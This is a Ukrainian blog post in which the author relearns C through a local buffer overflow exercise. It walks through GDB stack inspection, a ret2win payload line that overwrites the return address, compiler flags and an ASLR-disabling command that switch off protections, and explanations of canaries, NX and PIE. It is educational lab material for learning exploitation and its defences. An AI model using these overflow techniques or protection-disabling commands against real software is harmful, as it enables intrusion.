Як я вчив C через buffer overflow — від segfault до розуміння захистів

Категорія: Безпека, C, Embedded, Linux

Вступ: перша мова, довга пауза і повернення

Мій шлях у програмуванні починався з C. Не з Python, не з JavaScript — а саме з C, покажчиків і segfault-ів о другій ночі. Потім я пішов у веброзробку, Angular, PHP, Node.js — і на роки забув що таке char buf[8]. Але затягнуло в залізо: Pi Pico, STM32, Luckfox, bare-metal програмування. І раптом C знову скрізь — в даташитах, в прошивках, в кожному #define який треба розуміти.

Паралельно зацікавився кібербезпекою. І тут я відкрив для себе що buffer overflow — це не просто “баг у старому коді”. Це вікно в те, як комп’ютер реально працює. Як стек влаштований. Як CPU вирішує куди стрибати далі. Речі, які жоден туторіал по веброзробці ніколи не пояснює.

Ця стаття — про те як я освіжав C через практику з GDB і buffer overflow. Все виконувалось локально на Ubuntu 22.04, в навчальних цілях, на спеціально вразливих програмах. Жодних реальних систем не постраждало 😄

Частина 1: gets() і чому його ненавидять

Починаємо з простого. Ось програма яку gcc ненавидить, але все одно компілює:

 

 

Компілюємо з відключеними захистами (щоб побачити “чисту” поведінку):

gcc -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.c

gcc одразу попереджає:

warning: the `gets’ function is dangerous and should not be used.

Але ми все одно запускаємо. Чому? Бо хочемо побачити що відбувається всередині. gets() — функція яка читає рядок з stdin і не перевіряє розмір буфера. Скільки ввів — стільки й записала. Навіть якщо буфер всього 8 байт, а ти вводиш 100.

Частина 2: GDB — дивимось на стек своїми очима

Запускаємо GDB і подаємо на вхід паттерн з різних літер:

gdb ./vuln

(gdb) run

> AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

Програма крашиться. Дивимось що в пам’яті:

(gdb) x/8gx $rsp

0x7fffffffd3d8: 0x4343434343434343 0x4444444444444444

0x7fffffffd3e8: 0x0000000000401100 0x0000000100000000

Ось воно! 0x43 — це ASCII код літери C. Тобто наші CCCCCCCC лежать прямо там де має бути return address — адреса куди CPU стрибне після завершення main().

Розкладка стеку виглядає так:

AAAAAAAА → buf[8] ← наш буфер

BBBBBBBB → saved rbp ← затерли base pointer

CCCCCCCC → return address ← ось тут контроль!

DDDDDDDD → наступне ← про запас

Частина 3: ret2win — стрибаємо на secret()

Тепер найцікавіше. Ми знаємо що CCCCCCCC замінює return address. А що якщо замість CCCC підставити реальну адресу функції secret() яку ніколи не викликають через нормальний flow?

Знаходимо адресу в GDB:

(gdb) p secret

$1 = {void ()} 0x401176 <secret>

Адреса: 0x401176. Підставляємо її в little-endian форматі (x86 зберігає байти у зворотньому порядку):

(gdb) run < <(python3 -c “import sys; sys.stdout.buffer.write(

b’A’*8 + b’B’*8 + b’\x76\x11\x40\x00\x00\x00\x00\x00′)”)

Результат:

Ви ввели: AAAAAAAABBBBBBBBv@

🔓 Ти зламав програму!

Program received signal SIGSEGV, Segmentation fault.

ПРАЦЮЄ! 🎉 Програма викликала функцію яку “неможливо” викликати. Segfault після — це нормально, secret() завершилась і спробувала повернутись на сміттєву адресу.

Це і є класичний ret2win — перший клас задач у CTF змаганнях. В реальних атаках замість secret() підставляють адресу system(“/bin/sh”) або власний shellcode.

Частина 4: Stack Canary — захист що дійсно працює

Тепер подивимось як сучасний компілятор захищає від цього. Перекомпілюємо без прапорця -fno-stack-protector:

gcc -z execstack -no-pie -g -o vuln_safe vuln.c

Запускаємо той самий payload:

*** stack smashing detected ***: terminated

Program received signal SIGABRT, Aborted.

Той самий payload — абсолютно інший результат. Програма навіть не дійшла до ret.

Що таке canary? gcc автоматично вставляє між буфером і rbp випадкове значення — “канарку”. Перед виконанням ret програма перевіряє чи canary не змінився. Якщо змінився — одразу abort().

Стек БЕЗ захисту: Стек З canary:

[ buf[8] ] [ buf[8] ]

[ saved rbp ] [ canary value ] ← нове!

[ return addr ] [ saved rbp ]

[ return addr ]

Наш overflow затирає canary разом з усім іншим — і захист спрацьовує до того як CPU стрибає кудись не туди.

Частина 5: Сучасні захисти — чому це не так просто

Ми компілювали з -no-pie і -z execstack — відключали захисти щоб побачити чисту картину. В реальних системах є кілька рівнів захисту:

Захист Що робить Як відключити (для навчання)
Stack Canary Канарка між buf і ret addr -fno-stack-protector
ASLR Рандомізує адреси при кожному запуску echo 0 > /proc/sys/kernel/randomize_va_space
NX/DEP Стек не виконуваний -z execstack
PIE Сам бінарник теж рандомний -no-pie

ASLR — особливо цікавий. Запусти двічі і порівняй адреси:

$ cat /proc/self/maps | head -3

# запуск 1: 55a3f2401000-55a3f2402000

# запуск 2: 55b8c1234000-55b8c1235000 ← інша адреса!

Саме тому наш exploit з хардкодженою адресою 0x401176 спрацював лише тому що ми компілювали з -no-pie. З PIE кожен запуск дає нову адресу і наш payload промахується.

Частина 6: Чому це важливо для embedded розробника

“Окей, але навіщо це знати якщо я пишу прошивки для мікроконтролерів?” — запитаєш ти.

А ось навіщо:

  • IoT пристрої часто не мають ASLR, canary і NX — це буквально системи 90-х з точки зору безпеки
  • Бачиш gets(), strcpy(), sprintf() без перевірки розміру в чужому коді — це одразу червоний прапор
  • Роутери, камери, промислові контролери — все це C код, часто без захистів
  • CTF змагання — ret2win це буквально перша категорія задач, відмінна практика

Розуміння buffer overflow дає розуміння чому існують певні правила безпечного кодування — а не просто “так треба”.

Висновок: C у 2026 — не ностальгія, а інструмент

Я повернувся до C не тому що це модно. А тому що без нього неможливо по-справжньому розуміти що відбувається під капотом — ні в embedded, ні в кібербезпеці, ні в системному програмуванні Linux.

Buffer overflow — це не просто “старий баг”. Це вікно в архітектуру x86, в те як стек організований, як CPU приймає рішення куди стрибати. Після цих експериментів в GDB будь-який C код читається зовсім інакше.

Якщо ти теж повертаєшся до C після паузи — починай не з підручника, а з GDB і навмисно вразливої програми. Побач segfault зсередини. Це запам’ятовується краще за будь-яку теорію.

Інструменти з статті: gcc, GDB, Ubuntu 22.04, python3

Прапорці компіляції: -fno-stack-protector -z execstack -no-pie -g

Все виконувалось локально на спеціально вразливих програмах. Не застосовуй до реальних систем без дозволу.

Якщо стаття була корисною — ставте плюс і пишіть питання в коментарях. Продовження про ASLR і сучасні техніки обходу захистів — якщо зайде 🔐

Опубліковано в C/C++

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *